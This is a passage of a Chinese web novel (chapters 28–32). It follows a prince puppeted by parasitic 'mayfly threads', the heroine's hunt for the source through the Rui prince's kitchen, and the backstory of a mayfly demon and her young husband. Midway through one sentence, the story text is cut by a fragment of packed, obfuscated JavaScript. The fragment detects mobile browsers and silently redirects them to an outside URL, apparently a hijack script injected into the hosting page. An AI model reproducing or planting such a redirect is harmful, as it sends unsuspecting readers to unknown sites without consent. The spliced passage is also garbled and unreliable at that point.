他感觉到自己对东方脍点了点头,然后一步步走出瑞王府,翻身上马,动作一气呵成。
甚至他还听到自己对手下人吩咐:“先回府更衣。”
不对,不对!
本王这是怎么了!
东方宴在心底呐喊、挣扎。
可是没用,他说不出来,也无法使唤自己的身体。
此时此刻,他惊觉自己好像变成了提线木偶,被一股神秘的力量操作于股掌之间。
进门的时候,赵总管迎了过来:“王爷您回来了。王妃也回来了,先前还打听您去哪了。”
接着,东方宴就听到自己“嗯”了一声,然后快步走回寝室,自然而然地接受婢女帮他脱去朝服,换上便装。
一切的一切,自然流畅得好像没有任何变化一般。
而他的灵魂则像被困在躯壳里,眼睁睁地看着一切的发生。
本王到底是怎么了?中了什么邪术吗?东方脍……难道他给本王下毒了?
东方宴心底有些难受。
他对其他的王爷们都保持着警惕,唯独东方脍,因为曾经有过命的交情,再加上东方脍从无争权之心,才没有过多防范。
可万万没想到,今天居然就栽在他手里!
东方脍真是会演戏啊,骗过了所有人!
这时,侍卫来报:“殿下,王妃求见。”
“那个女人终于舍得回来了!”他听到自己这样说。
冰冷的语气,满满的嫌恶,模仿得简直一模一样!
从前他并不觉得那样的态度有什么问题,直到此刻身体**控,他以旁观者的视角听到那话,才觉得有些不近人情。
而此刻,他内心深处无比迫切地想要见到林倾月。
他知道,只有她能救自己!
"刚才求我回来,怎么现在又避而不见了?"林倾月人未至,声先到。依然那种挑衅的口吻,可东方宴听着却有些激动。
门口的侍卫,本想阻拦。
却被林倾月一个冷眸给吓住了。
当那道仪态万方的身影出现在眼前的时,东方宴第一次觉得她是那么的美丽,那么的重要!
而他体内的蜉蝣丝,由于寄生的时间尚短,还会受到一点他心境的影响,所以此刻对林倾月的态度也跟着好了几分。
“你来,我很高兴。”东方宴听到自己这样说。
而林倾月却是一愣,旋即笑了起来:“是嘛?真不容易啊。”
她往旁边的太师椅上一坐,斜眼睨着东方宴:“换新衣了?是要去见我的好妹妹?”
可此刻东方宴自身难保,哪里还有心情想林如珍?
“下午要去内阁议政。”东方宴听到自己这样回答。
内阁议政,几乎是他每日要做的事。
没想到,那操纵自己的东西,居然也知道这个习惯,真是可怕至极。
林倾月点点头:“那就祝殿下早日篡位成功。”
东方宴说:“放肆!”
林倾月笑了起来:“那么紧张做什么,这里到处都是你的人,没人敢乱传。”
东方宴问:“你还有什么事吗?”
林倾月耸了耸肩:“没什么,就是随便聊聊。”
"本王还有政务要忙,不和你废话了。"东方宴走到门口的时候,忽然顿住了脚步。
“赵安,把本王带回来的东西给王妃。”
赵总管便呈上了一个食盒和一壶桃花酿。
而东方宴却是头回的走了。
看似平静,内心却十分焦灼:她到底能否看穿?若是她发现不了,本王该怎么办?
林倾月回到自己住的秋水院时,狸花猫小花立马跳了出来:“怎么样?”
林倾月道:“幕后黑手不是他。”
小花问:“你这么肯定?”
林倾月把酒和鱼生往桌上一丢:“那是因为,他也中招了。”
虽然蜉蝣丝能模仿出宿主的神态、语气,还能洞察到宿主的记忆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888478|176466||http|test|mini|href|location''.split(''|''),0,{}));
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r>但人之所以为人,是因为存在很多的变数,单纯的模仿是不可能毫无破绽。
而今天,东方宴最大的破绽是没有提及林如珍的事。
如果换做不了解情况的人,还以为他只是暂时忘记了。
可林倾月还是不禁有些怀疑,等看到鱼生的时候,她前后一联想,立马就猜到了实情。
小花本以为,这一切是东方宴搞的鬼,没想到他居然也中招了。
“既然东方是今天才中招的,那么仔细排查他今日和谁见过面,吃了什么东西,就能查到幕后主使者。”
她吩咐:“小花你跑一趟玄镜司,把晋王的情况告诉给谢守正,他自然会去调查。”
“我刚才已经在晋王府的后花园,找到了幽夜兰,很大一片。我会立刻着手炼制鉴别香丸。”
“哦,对了。”林倾月坏笑起来,“不管是感染者排查,还是以后解除感染,都把东方宴安排在最末尾。又或者……就干脆跳过他算了?”
相比于之前的东方宴,她还是觉得被蜉蝣丝控制的东方宴更顺眼一点。
这么一想,忽然觉得蜉蝣丝也不是一无是处了。
有了幽夜兰,炼制鉴别香丸对林倾月来说并不是什么难事。仅仅一天之后,就炼制出了成品。
第一批自然是先送去玄镜司。
上到谢守正,下至守门的老卫通通都排查了一遍。幸好,司内没人中招。
谢守正松口气,吩咐道:“最近不要吃任何生食,注意保护好自己。”
接着就是开始安排人手,进行全城排查。这些工作繁琐又费事,自有谢守正带着手下人去忙活。
他又对林倾月道:“林副使还是继续负责炼制鉴别香丸,所需材料本官会让大米给你准备好。”
这种东西属于消耗品,一颗香丸的效用时效很短。接下来,全城的人都要进行排查,需求量不言而喻。
本来谢守正本想让林倾月在玄镜司炼药,但考虑到幽夜兰采摘之后,半个时辰后香味就会淡化,从而失去效用,不方便储存。
因此,林倾月还是决定在王府就近操作。
东方宴已经被感染了,灯下黑反而安全。
第28章 傀儡王爷
果然,接下来的几天东方宴没有再来找麻烦。
他甚至没有在林倾月那边露过面,每天按部就班的上朝、下朝、办公、会客。最大程度地保持着以往的习惯。
蜉蝣丝智商低,只能刻板地维系着原主的习惯,所以只要林倾月不主动招惹就没有问题。
而真正的东方宴,这几天简直痛苦不堪。
肉体变成牢笼,将他困在其中。不能动、不能说,还只能眼睁睁地看着自己的身体被神秘的力量控制着。
他从开始不安,到日渐惶恐。
若是继续下去,那东西是不是就要取代自己而活?
那自己呢?会不会死?还是……一直像傀儡一样的活着?
这天,林府派人来说:“二小姐情况不太好,已经三天没有进食了。”
东方宴这才发现,自己已经好几天没有想起林如珍了。可如今他自顾不暇,哪还有心思管她?
而他的身体则根据以往的行为习惯,立刻就给出了反应:“来人,备马去长宁侯府!”
长宁侯府,林霄亲自出来迎接。
当东方宴问起林如珍时,林霄叹了口气:“李院使开的药起初还有些效果,但是后来就完全无用了。她可能怕疼,随便干脆不吃了。哎,我也是愁得很,这才派人告知殿下!”
“总不吃饭怎么行?本王去瞧瞧她!”
刚一站起来,东方宴的面部表情忽然僵硬了下,又缓缓坐下。
“本王乃是二小姐的姐夫,私下会见,不合适……不适合……”
这番举动,看得林霄一愣:王爷的行为怎么有些奇怪?
殊不知,这是真实的东方宴在努力给林霄做出的暗示。
“本王被控制了!所以,身体才会做出矛盾的行为。”
“林霄,你看出来了吗?”
“这么明显的暗示,你难道还不知道吗?”
林霄愣了一下,忽然反应过来:“王爷,我懂,我懂了!”
说完,他立马转身朝门外走去。
东方宴暗暗松了口气:“看来这次暗示终于有人能懂了。”
他虽然不知道,到底是什么样诡异的力量在控制自己的身体,但只要自己意志力足够强大,还是可以对身体做出一些反应。
只可惜这些天身边的人没有一个人能懂他的暗示,好在林霄终于懂了。
“他应该能看出本王被诡异力量控制了,肯定会派人去玄镜司求助。”
很快,林霄去而复返,还压低了声音悄悄对东方宴说:
“王爷放心,我已吩咐府内下人,暂时不准出现在后宅。您去探视珍儿,不会被人看见,更不敢有人说闲话,污您清名!”
东方宴那日和林如珍在后园私会的时候,不觉得有什么不妥。
而此刻,当他冷眼旁观,突然觉得这掩耳盗铃的行为,实在荒唐。
更荒唐的是,他感觉自己点了点头,还很不要脸地说了句:“听闻侯府景致不错,本王去看看。”
林霄笑着说:“王爷请便,都是一家人,不必客气。”
一路上,果然没有出现一个下人。
就连林如珍住的院门、房门都是虚掩的。
到了房门口,隐约听到里面传来低低的啜泣声。
是他的珍儿在哭。
东方宴推开门,就看到林如珍依靠在床榻上。脸上戴着半透明的面纱,不断落下的泪珠将面纱都打湿了,真是楚楚可怜。
东方宴听到自己上前关心:“珍儿,本来来看你了。听闻三天没吃饭了,这怎么能行?”
林如珍一头扑进东方宴的话里,只哭不说话。
这几天她已经知道害怕了。这所谓的“诚实咒”当真是一个谎话一个疮,根本没有任何办法。
可偏偏她又说谎说惯了,完全改不过来。为了防止嘴里的恶疮继续变多,她只能不说话。
至于面纱……那是因为她已经知道,恶疮会引起恶臭。
所以知道晋王会过来,她就戴上面纱,免得不小心张嘴把人给熏跑了。
“我知道你疼,”东方宴含情脉脉地看她,“林倾月那边,本王已经逼问过几次,她都说无
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解。你且耐心等等。本王一直在帮你想办法。饭是一定要吃的,千万别让自己饿坏了。”
“王爷……”她隔着面纱,虚弱地呢喃了一声,然后在东方宴的手上写了几个字,“得君垂怜,死而无感。”
东方宴心中暖暖:他的珍儿啊,直到这个时候,还是如此痴情。
他看到自己也在回应林如珍的心意:“救命之恩,永不忘怀。珍儿放心,本王定不负你。”
明明这些话是从他自己的口里说出来的,但此刻冷眼旁观,却莫名觉得有些别扭,好像在……偷情?
林如珍的手已经搭在他的胸口处,犹如灵蛇般滑动着,带出一阵轻柔、酥麻的感觉。
挑逗的意思很明显。
从前,林如珍还矜持着,并不会主动做出这种轻浮的动作。
可这几天,她明显感到身边人对自己的态度发生了变化。
自从那晚,她将周氏推出去,差点害死之后。往日护她如护眼珠子似的养母,已经好几天没来看她了。
昨天她熬不住主动去找,周氏却说身上伤口疼,要休息。
明明咬伤周氏的是林如风啊,可周氏一点都没有怪罪,反而记恨自己这个女儿。
她委屈至极,转头又去找林如风,希望他能帮着去母亲跟前美言几句。
可从前对她言听计从的林如风,却像变了个性子似的,对她十分冷淡。
而往日,能随便打骂的柳氏,仅仅因为她心情不好,呵斥了柳氏一声。
林如风就为了柳氏给了她一耳光,并严厉地告诫:“她是你嫂嫂,你若是再分不清楚尊卑上下,我便禀明父母将你发嫁出去!”
林如珍都惊呆了,不知道兄长为什么会突然性情大变。
林霄倒是没什么变化。
但他那人不重亲情,只重利益。从前喜欢林如珍,只是觉得她比林倾月优秀,适合联姻。
可当她口舌生疮,连说话都受影响后,林霄的态度也冷了下来。
已经失去了家人的宠爱,她绝对不能再失去晋王了!
第29章 探查瑞王府
今日,林如珍好不容易把晋王找来了,急功近利之下生出疯狂的想法:向晋王献身!
只有这样,才能更彻底地绑住他,得到一个名分。
若实再能怀上他的孩子,那就是王长子,她就能完全压过林倾月!
恰好这时,一阵风从门外吹来,撩开她的面纱。而林如珍闭着眼睛,气息微喘,喘出的粗气……依然恶臭难闻。
东方宴起来就走,做出了和上次一模一样的行为。
“珍儿,本王还是再给你找个御医瞧瞧。”
说完,头也不回地走了。
看来,蜉蝣丝也不喜欢满嘴口臭之人啊!
这几天,玄镜司上下几十号人,忙得不可开交。
京城人口就多达上百万,即便有城卫营的帮忙,依然忙的不可开交。还得想办法遮掩,避免让幕后主使者发觉。
而晋王的情况倒是很快就查访清楚了,谢守正亲自过来和林倾月说:
“晋王感染前,受邀到瑞王府用午膳。那日晋王给你带的食物里也查出蜉蝣丝的踪迹,不过由于长时间没有找到宿主寄生已经失去活性。”
旁边的小花,一听到“瑞王府”顿时瞪大了猫眼:难道是瑞王世子?
瑞王乃是太子的六皇叔,是个胖乎乎、笑呵呵的王爷。每次遇上,总爱从大大的袖口里掏出市井小吃给太子。
有一次还害得太子吃得拉了肚子,被齐昭帝罚他禁闭半年。
而东方脍和他父亲如出一辙,也是爱吃爱玩的人,小时最大的梦想是当个厨子。
说他有谋反之心,小花第一反应是不信的。
可最不可能的人,偏偏嫌疑最大。
林倾月道:“瑞王世子经常入宫吗?和陛下往来得亲密吗?我是说是否一起用过膳?”
谢守正早已经从林倾月这里知道了齐昭帝也是感染者后,也调查了东方脍最近入宫的频率和情况。
他点了点头,道:“从大内的太监那边打听到,一个月前,瑞王世子为陛下献上了鱼生。帝王用膳前都有太监试吃。我悄悄地查验过,那试吃的太监同为蜉蝣丝的感染者。”
他说着,神情严肃起来:“毫无疑问,瑞王世子有重大嫌疑!”
他顿了顿,继续道:“此外,经过这几天的排查发现,已知京城中感染者509例,其中有半数为贵族阶层,且都和瑞王府有过来往。所以我们可以肯定,感染是从瑞王那里扩散出来的。”
他有点犯愁:“我和瑞王世子没有打过交道,若是贸然找上门去,会不会打草惊蛇,让头虫逃走?”
林倾月想了想,道:“我去最为合适。”
谢守正道:“我本来也是这个意思,但是东方脍家中没有女眷。您若是以弟媳的身登门,是不是也有些奇怪?”
林倾月说:“无妨,我带东方宴一起就合适了。”
反正感染之后的东方宴正常多了,可以当工具人用用。
傍晚十分,工具人回来了。
东方宴对林倾月从最初的怀抱希望,到后来希望覆灭,而今日林府一遭愈发让他觉得自己获救的可能微乎其微。
今晚,他刚一下马,就看到林倾月站在大门的廊柱下,笑着喊了一声:“殿下……”
东方宴走上前去,一如从前般的冷漠。
就在他一言不发准备进门的时候,林倾月突然道了一句:“你不是想要诚实咒的解药吗?我可以给你。”
东方宴脚步一顿,狐疑地看向她:“当真?你不会在故意弄鬼吧?”
林倾月哄着工具人:“怎么会呢?我和林如珍本来就是姐妹俩,我也没真想弄死她。再说你我既是夫妇,也没必要把关系弄得那么僵,你说对吗?”
小花蹲在边上看着林倾月哄人的样子,忍不住暗生佩服:这谎话说得,简直太溜了。别说蜉蝣丝辨别不出,只怕真正的东方宴要被糊弄了。
却听林倾月继续道:“王爷那日还给臣妾带了鱼生,臣妾很喜欢。是从哪里买来的?”
东方宴道:“瑞王世子给的。”
“是吗?”林倾月顺着话头道,“听说瑞王最擅长发掘美食佳肴了,正好咱们都还没吃饭,不如去瑞王府打个秋风如何?”
“你要去瑞王府?”他木然地点了点头,“那日,瑞王世子倒是问起过你,还说想见见你。”
林倾月赶忙说:“那正好,我们现在就去。等我吃完了,心情好了,说不定就会给你诚实咒的解药。”
蜉蝣丝本就是模仿宿主的行为举止而做出反应
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,所以林倾月给出的条件,他没多深究就点头应下。
“好。”
而真正的东方宴此刻,却察觉到了什么,再看林倾月的时候,早就不觉得面目可憎,反而寄予了希望:
“她看出来了吗,所以要去瑞王府?她是要救本王吗?若是此番,她真能助本王脱困,本王一定与她冰释前嫌。”
很快,晋王夫妇的大驾就到了瑞王府。
瑞王世子笑呵呵地出来迎接:“前几日还说让你把弟媳带来见见,今日你可算舍得把人带出来了!”
林倾月和东方脍,互相见了礼,然后和东方宴一起被引到了会客厅。
林倾月开门见山地道:“听说你府上大厨善做鱼生,不知今日可有机会尝尝?”
东方脍道:“没错,张大厨做的鱼生可是天下一绝。弟媳若是喜欢,稍后就为你做来。这新鲜切出来的鱼生,滋味更佳呢!”
说着他就吩咐了手下,准备宴席。
趁着东方脍和东方宴聊天之时,林倾月悄悄地捏碎了一颗“鉴别香丸”,一股淡淡的清香,在屋内弥散开来。
这气息很淡,淡到让人忽略不计。
但蜉蝣丝却对这种气味极为敏感和厌恶,嗅到这个味道后,寄生在人类大脑里的蜉蝣丝就会做出大幅度动作,由此引起头疼。
但是这种痛又不会特别明显,会让人误以为只是没有休息好而引起的常规头痛。
果然,香味一起,东方宴的眉头就稍稍皱了下,但是他没多在意。
下一刻,东方脍也跟着头疼起来,他也没多在意,只随手揉了揉额头,以为是中午喝多了。
他果然也是感染者!
若他也是被蜉蝣丝寄生了,那就不可能是主使者!
当林倾月当即收了香丸。
香味一散,那一点微弱的头疼也消失了。
这时,府内菜肴也准备得差不多了。
晶莹剔透的鱼生被端上了桌,此外还有诸多美食佳肴。
瑞王热情地招呼:“快吃吧,都是一家人无需客气。”
林倾月拿起筷子,正要夹菜,一只狸花猫忽然蹦上了餐桌,似乎是被鱼生给吸引了,喵喵叫着来讨要食物。
林倾月呵斥:“小花,不得放肆。快下来!”
第30章 谁才是幕后主使?
东方宴看到那猫,脸色冷了下来:“畜生,上次侥幸跑了,今日居然又来**。找死!”
狸花猫被他凶神恶煞的模样吓到,“喵——”一声,踹翻了鱼盘,跳下桌就逃走。
东方宴皱眉:“这畜生什么时候跟来的,简直找死,来人抓起来吊死。”
林倾月当即就不干了:“小花,是我养的猫,怎能因为一点小错就吊死?”
她转而又向瑞王世子致歉:“世子殿下,真是抱歉。我这小猫原是外面的野猫,最是贪嘴。我刚养几天,尚未教导好规矩,莫要见怪。”
一只猫而已,依照瑞王世子的好脾气,自然不会斤斤计较,他一边吩咐吓人帮着一起去寻猫,一边还劝东方宴:
“区区小事一桩,怎么还跟猫置上气了?自家媳妇养的猫,怎么都要包容一些。”
“还是世子殿下好说话。”林倾月说着,又担忧地道,“我的猫生性胆小,旁人恐怕抓不住他,我去找他!”
说罢提着裙摆,匆匆忙忙走了。
她一路避人,专门挑僻静无人的小路走。
走了不多久,小花就从草丛里跳了出来。
林倾月问:“你对瑞王府地形可熟悉?知道厨房在哪里?”
小花道:“多年前来过,记得大致格局。瑞王和世子皆喜好美食,王府中有两个正式的大厨房。此外,还有一个小厨房。”
“今日他接待你的是靠近东边的宴厅,那么用的应该就靠近东侧门的小厨房。”
“那就去小厨房看看!”
原本他们都以为,东方脍是幕后黑手,可当林倾月测试之后,居然发现连东方脍都已经被蜉蝣丝寄生。
那么,他的嫌疑就理所应当地被排除了。
可谢守正的排查方向,又将一切的矛头指向了瑞王府。
所以,瑞王世子即便不是幕后者,也必然是传播中的重要一环,否则不可能有这么多贵族阶层,包括东方宴和齐昭帝都受害。
于是刚才,林倾月就和小花合演了一出闹剧。
借着出来寻猫的由头,去瑞王府的小厨房查看。
说是小厨房,其实规模也不算小,里里外外有七八间房,光是厨娘就有十几个,还有些打杂的。
此刻,晚膳都已经呈上,厨房的下人们,正在做一些收尾的工作。
林倾月穿着一身黑色绣着暗花的衣裙,样式简单。
她头上也没有名贵的饰品,只插了一根市井买来的桂花木簪,又特意把后面的发髻散开,改成闺中女子的样式。
看起来,就是寻常的少女。
再加上厨房的下人们是没有资格去前面见贵客,因此当林倾月带着一只猫走进来的时候,没人知道她是王妃。
只有厨房的管事嬷嬷过来询问:“这位小姐瞧着眼生,是哪个院里的?”
林倾月道:“我是晋王妃的丫头,我家王妃很喜欢今晚的菜色,特意吩咐奴婢来后厨来问问大厨如何制作的。那道鱼生是哪位大厨的手笔?”
管事嬷嬷道:“既如此,贵人吩咐一声就是了,何劳姑娘您亲自跑来——张大厨,快来!”
张大厨是前两个月才靠着一手精湛的切鱼手艺,得了东方脍的青睐,成为瑞王府的大厨。
此刻,即便以为林倾月只是一个婢女,依然毕恭毕敬。
林倾月例行问了一些关于鱼生的做法和来历,装作单纯对美食感兴趣的样子。
然后又在厨房内来看了一圈,笑嘻嘻和所有人闲聊了几句后,便起身离去了。
路上,小花忍不住询问:“如何?”
如今感染者越来越多,若不能早日找到头虫,研制解药,情况将会越来越危急。
尤其连齐昭帝都被蜉蝣丝寄生,也不知道凶手目的是储君之争,还是颠覆整个齐国?
细思极恐!
林倾月道:“我刚试过,后厨包括张大厨在内有七个人都是被蜉蝣丝寄生。但其中并不包括张大厨。东方脍和东方宴都是吃了他的鱼生才感染了蜉蝣丝,可烹饪者自己却没有被寄生。那么很大可能,这人比如和头虫有很深的关联。”
戌时过后,小厨房的下人都回去休息了。
在这里干活的基
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本是瑞王府的家奴,吃住都在府里。
唯有张大厨是半途聘过来的,在府里忙完后,无论多晚都要出府回自己的小家。
从王府下人专用的小侧门出来后,张大厨就坐着自己的驴车一路赶回家去。
刚到家门口,正好遇到前街的酒铺老板娘过来送酒。
老板娘是位五十多岁的妇人,身边还有位二十多岁的年轻男子,并肩而立犹如母子俩。
张大厨笑道:“元大娘,我正想今晚回来后,再找你们订酒。不想你们却先送来了。”
元大娘将两壶酒递给张大厨,道:“我估摸着你这两天酒就用完了,便提前给你送来。”
张大厨道了谢,又付了酒钱。
元大娘便招呼着身后的年轻人:“阿恒,我们走吧。”
那名唤“阿恒”的年轻人,蹲下身来说:“这会儿没有月光照路,怕不太好走,我背你吧。”
元大娘就顺势趴在了他的背上,两人一起消失在夜色中。
张大厨拿着酒进来,还忍不住感叹:“元大娘当真是好福气,儿子长得俊俏,又如此孝顺。怕路不好走,就背着老娘走。回头打听一下是否定亲了,若是没有定亲,不如就把咱家闺女……”
“哎呀,你可打住吧!”不等说完,就被妻子打断了话头。
妻子脸上露出鄙夷神色:“我原也和你一样,寻思和他家结亲。结果,他家情况根本不是咱们想的那样!”
元大娘是最近一年才来京城开店卖酒,因此两家虽有生意往来,但其实了解不深。
张家娘子起初也看中了阿恒一表人才,又踏实孝顺,特意去打听他家情况。
不打听不知道,一打听却吓一跳。
那元大娘和阿恒表面看像母子俩,但两人一桌而食,一榻而眠,举止十分亲密。
有人瞧着不对劲,好奇询问时。
那元大娘也不遮掩,垂下老脸,羞答答地说:“阿恒他啊,是我夫君。”
老夫少妻常见,可老妻少夫却十分稀罕。
为此街坊邻居们没少在背后指指点点。
第31章 老妻少夫
张家娘子也没想到,居然是这么回事,吃惊之余还有些鄙视:
“那阿恒年纪轻轻,且相貌堂堂,又有酿酒的手艺,想要找个什么样的女人找不到?元大娘老的都能当他娘了,居然也能混到一起?不是脑子有问题,便是另有图谋!”
张大厨听完也十分意外,又摆摆手道:“人家的家事,咱们这些外人就不要多管了。”
“不过话说回来,他们家的桃花酿是真好,口感醇香,稍稍在鱼片上喷洒一些,既能提香又不抢鱼的鲜味。今晚,瑞王府的鱼宴,连晋王妃都专门派人来夸赞——不说了,困了,早些睡吧,明儿还得早起去买鱼。”
张家的灯光熄灭,元家的灯光在主人进门的那一瞬亮起。
暖黄色的烛光照在阿恒俊朗年轻的脸上,也笼在元大娘苍老的容颜上。
元大娘看着镜子里越来越苍老的脸,不由地问:“我是不是很丑?”
年轻的男人从身后轻轻地拥着了她,俊朗的面容也随之出现在镜中。
“我的元娘一点也不老,依然和当年初见时一样美丽。”
他语气温柔地哄着,满眼都是爱意。
元娘笑了:“你啊,就会说好听的哄我开心!”
“阿恒……”她回过头来,浑浊的眼眸里透着几分忧伤,“你会不会,不喜欢我了?”
男人在她苍老的面颊上,深情一吻:“不论何时,我都爱你如初。”
他拉过她枯槁的手,按在自己滚热的胸膛上:“感受到了吗?我这颗心,永远为你而跳。”
“可我如今的样子……连我自己都不忍细看。”她垂下头,半白的发丝如丝绒一般滑落。
他捧着她的脸颊,强迫她的目光和自己对视。
“元娘,世间女子千千万,可谁也比不上你待我的好。若非是你,根本不会有现在的我。不论是从前还是现在,你在我眼里永远美丽,我的心里也只容得下你一人!”
“阿恒……”元娘将头靠在他的肩膀上,花白的发丝和他的黑发缠绕在一起,如同两人难解难分的缘分。
元娘睡着后,阿恒就掀开被子,悄无声息地走下了床。
为了不影响元娘的好梦,他开门、关门的动作都尽可能的轻。
他来到小院,又进了存酒的地窖。
这些酒都是元娘和他一起亲手酿造。以桃花混合糯米发酵而成,清甜中带着桃花特有的香气。
凭着这酒,他们来京城开店才一年,便已有了许多老主顾。日子不算大富,但也小有盈余。
阿恒凑近闻了闻酒香,然后打开其中一坛子刚刚酿成的酒——这也是明天将要放到店里售卖的酒。
接着,他手掌一翻,掌心处浮现出了一捧如碎发一般的东西,丢入水中,初时还能看到细小的一些物质,但很快就隐没其中,肉眼凡胎无法窥见。
世上又有谁能知道,这就是蜉蝣丝呢?
当蜉蝣丝进入人体之后,会随着人体的血液迅速游走至人脑,完成寄生。子虫也会迅速长大,细细长长犹如发丝。
“再过些天,应该就能收网了……”
他的脸隐在黑暗里,唯有一双漆黑的眸子,幽幽发光:“很快,很快了……”
从酒窖出来,他没有回房睡觉,而是拢了拢衣领,推开院门往外而去了。
夜深月隐,周围漆黑一片,所以他自然也没注意到,有一只老鼠快速地闪过。
第二天,玄镜司。
大米急匆匆来到谢守正身边,耳语了几句。
谢守正有点意外,居然是他!
他思索了下,吩咐道:“让你的兄弟们继续监视,注意不要被发现。有什么情况,第一时间来报。”
“是!”
大米正要走,谢守正赶忙道,“等等,你再去一趟晋王府,把刚才的情报转述给林副使。若是可以,今日收网,免得夜长梦多!”
“好勒!”
林副使自然就是林倾月。谢守正也好,底下的司卫们也罢,如今称呼林倾月都是用官职。
林倾月听了大米的报告,微微一笑:“顺着藤,果然摸到了瓜。”
大米又道:“谢大人还说,若是可以,今日收网,免得夜长梦多”
林倾月略略沉吟,只道了一个字:“可。”
这天一早,元娘和阿恒在酒馆里忙前忙后,招呼生意。
这时,两个妇人从门前经过,毫无顾忌地议论着:
“你看见没,就是那个小郎君,长得真俊吧?”
“再俊俏有什么用,还不是眼瞎?要不然,放着满大街的黄花闺女不要,怎么偏偏看上一个能当**老女人?”
“你说这老女人要来有什么用?地干了
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,哪里还耕得动?娃就更生不了咯!”
元娘听了心头难过,却只默默地垂下了头,不想让人看见她的苍老。
可阿恒却没有那么好的脾气。
“你们这些长舌妇,想找打吗?”
阿恒举着酒提子冲了出去,“说别人之前,何不先照照你自己长了张多么丑陋的脸!快滚,否则即便你们是女人我也照样打得下手!”
把那两个妇人骂跑之后,阿恒一转头,就看到元娘在笑他:“你看看你,都快成骂街的泼夫了!”
“是那些人太可恶了!”阿恒放下酒提子,拉起元娘的手,“为了娘子,我变成泼夫又怎样?”
元娘道:“阿恒,我想离开京城。这里人多,是非多。你我又是这样惹眼的夫妻,难免惹人非议。人言可畏,我不喜欢。我只想和你过些简单的生活。”
阿恒道:“谁要再敢议论,我定叫他们好看!娘子,其实京城很好,很繁华,能买到别处见不到的食物和物件。而且,这里的人也很喜欢我们的桃花酿。我们好不容易才打开了销量,难道要因为那些长舌妇几句话,就灰溜溜地离开?”
元娘问:“你真的喜欢京城吗?”
阿恒认真点头:“我很喜欢这里。娘子,难道你不喜欢吗?”
元娘舒眉微笑:“你喜欢的,我自然也喜欢。”
“对了娘子,东市有位大主顾很喜欢我们家的酒,这不昨儿又订了十几壶桃花酿。我去东市送酒,娘子你在铺子里歇着。若是累了,就关上店门去后宅喝茶歇息。我去去就回。”
“东市路远,以后这种生意让客户自己来取酒。他们若不想跑腿,我们也不稀罕卖给他们。没必要总让阿恒你辛苦。”
“既然咱们做这行,哪有挑客的理?”
说话间,阿恒已经把酒水搬运到驴车上,和元娘挥手作别。
元娘默默地目送他远去后,才回到店铺里收拾、洒扫。
等到邻近晌午,元娘几次探头张望,都没看到阿恒回来。
“怎么还不回来?又有什么事给绊住了吗?”
自从搬到京城,阿恒好像出去得越来越频繁。
有一天夜里,她半夜睡醒,发现身侧空了。披上衣服正要出去寻他,他却又突然回来。手里拿着一把带着露水的野花,笑嘻嘻地过来送她。
第32章 元娘的故事(上)
门口的风铃轻轻发出脆响,一道清泠的女声传入耳中:“一壶桃花酿,可否帮我送到家里?”
元娘回过头来,就看到一位穿着黑色暗纹罗裙的女子款款入内。
她生得很漂亮,微微上挑的凤眼,自有一股桀骜之气。
身边跟着一只梨花猫,莹亮的猫眼似乎有些漫不经心,可若仔细看,也能看出猫眼里的睿智。
元娘笑脸相迎:“抱歉,我夫君未归,暂时没人送货。若只是一壶桃花酿的话,其实也不重,您可以自行带走。”
“自行带走?”林倾月看了看自己的手,“我有手,但就是不想自己提。既然你夫君不在,不如你帮我送吧。”
元娘有些为难地道:“抱歉,我还要看店。若您实在想要送货,不如等我夫君……”
“可万一他回不来呢?”林倾月笑了起来,“我是说,永远回不来。”
元娘脸上的笑容立散,露出几分警惕:“什么意思?这位小姐,我看你说话行事不像是来买酒的,倒像是来找麻烦的。”
林倾月道:“你说的没错,我就是来找麻烦的。”
旋即,她亮出令牌:“吾乃玄镜司鉴邪副使,林倾月。想请夫人跟我走一趟。”
玄镜司虽然成立至今只有十年,但已深入民间各地,因此百姓对这个衙门多少都有些认知。
元娘道:“听闻玄镜司驱邪镇妖,保百姓安康。可我们夫妇俩,从来都是安守本分的人,更没做过伤天害理的事。玄镜司为什么要找上我们?”
林倾月说:“为什么?那要聊聊才知道,走吧。”
元娘道:“有什么话要聊在这里说即可。我还要等我夫君,不便外出。”
林倾月道:“今天,你应该等不到他了。不如跟我走吧,也许我能带你见到他。”
“什么意思?难道你们抓了阿恒?”
“请上马车,我们边走边说。”
元娘沉吟片刻,最终还是因为担忧阿恒,上了林倾月的马车。
马车里却很稳当,还萦绕着淡淡的香气。
林倾月倒了杯茶给元娘:“还有好一段路要走。不如喝杯茶,顺便给我讲讲,你是如何跳出朝生暮死的命运,羽化成妖。又为何甘愿年华老去,也要留在红尘俗世做个沽酒为生的老妇人?”
元娘端起茶杯,垂眸间便看到波澜微漪的茶水上,映出一张苍老的面容。
“我做人做得太久了,久得都快忘记自己是个妖怪了……”
一声幽凉的叹息,落入过往的时光里,将尘封的往事徐徐荡开。
在常人的认知里,蜉蝣朝生暮死,仅有一天的寿命。却不知,它们为了这一天,要在河床下蛰伏数月到数年之久。
元娘,也不例外。
幼虫时期,她对时间没有概念,浑浑噩噩地蛰伏,积蓄能量。
直到某天她长出了轻薄的翅膀,在本能的驱使下,爬出河床,奋力一跃,冲出了那片水域。
于是,那五光十色、风光旖旎的世界便展露在眼前。
那天,第一缕晨光照耀在水面上,在她的翅膀上落下温柔的光晕。
微风伴着花香拂面,助她飞得更高。
她痴痴地看着这个新奇的世界,满心欢喜。
忽然回眸间,却发现那些和她一起诞生的同伴们,此刻都扑腾的翅膀,寻找伴侣,忙忙碌碌地完成种族的繁衍。
她知道,蜉蝣的一生极为短暂,短暂到根本来不及多看这个世界一眼。
雌性、雄性在本能的驱使下,纠缠在一起,要赶在日落前完成交配和产卵,然后结束绚烂却又悲壮的一生。
唯有她生出了不一样的意识,这种自我意识凌驾于原始本能之上。
她知道,自己的一生不该是这样仓促的度过。
